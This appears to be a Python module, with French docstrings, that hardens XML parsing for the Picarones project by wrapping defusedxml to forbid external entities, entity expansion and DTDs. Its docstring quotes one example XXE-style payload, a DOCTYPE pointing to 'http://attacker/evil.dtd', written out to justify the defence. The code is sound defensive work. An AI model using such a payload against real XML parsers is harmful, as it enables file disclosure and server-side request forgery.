Spaces:
Sleeping
Sleeping
File size: 2,144 Bytes
f3772fd 2905909 f3772fd 2905909 f3772fd | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | """Parsing XML sécurisé — anti-XXE / Billion Laughs / DTD retrieval.
Helper transverse appliqué partout où Picarones parse du XML reçu
depuis une source externe (corpus uploadé via le web, manifeste
Gallica, ALTO produit par un module ``BaseModule`` tiers, etc.).
Délègue à :mod:`defusedxml` (dépendance dure du projet) qui durcit
le parser stdlib contre :
- **XXE** (``XML External Entity``) — résolution d'entités vers
des fichiers locaux ou des URL distantes.
- **Billion Laughs** — expansion exponentielle d'entités.
- **DTD retrieval** — fetch d'une DTD distante.
Discipline : tout module qui parse du XML doit utiliser
``safe_parse_xml`` plutôt que ``xml.etree.ElementTree.fromstring``
directement.
Module nommé avec un ``_`` initial : c'est un détail
d'implémentation du package ``formats`` ; les callers passent par
``picarones.formats.xml.safe_parse_xml`` (re-export public au
niveau du package).
"""
from __future__ import annotations
import xml.etree.ElementTree as ET
from typing import Optional
import defusedxml
import defusedxml.ElementTree as _SafeET
def safe_parse_xml(xml_bytes: bytes) -> Optional[ET.Element]:
"""Parse du XML en bloquant entités externes ET ``<!DOCTYPE>``.
Sprint S1.4 — durcissement : ``forbid_dtd=True`` ajouté en plus
des défauts ``defusedxml`` (``forbid_entities=True``,
``forbid_external=True``). Sans ``forbid_dtd``, un payload
``<?xml...?><!DOCTYPE root SYSTEM "http://attacker/evil.dtd">``
est accepté (le fetch est bloqué par ``forbid_external`` mais
le DOCTYPE traverse le parser). ALTO 4 et PAGE XML utilisent
``xmlns`` plutôt que DOCTYPE — le durcissement est sans
régression sur le corpus institutionnel.
Retourne ``None`` si le payload n'est pas un XML valide ou si
``defusedxml`` détecte une attaque
(``EntitiesForbidden``, ``ExternalReferenceForbidden``,
``DTDForbidden``, ``NotSupportedError``).
"""
try:
return _SafeET.fromstring(xml_bytes, forbid_dtd=True)
except (ET.ParseError, defusedxml.DefusedXmlException):
return None
__all__ = ["safe_parse_xml"]
|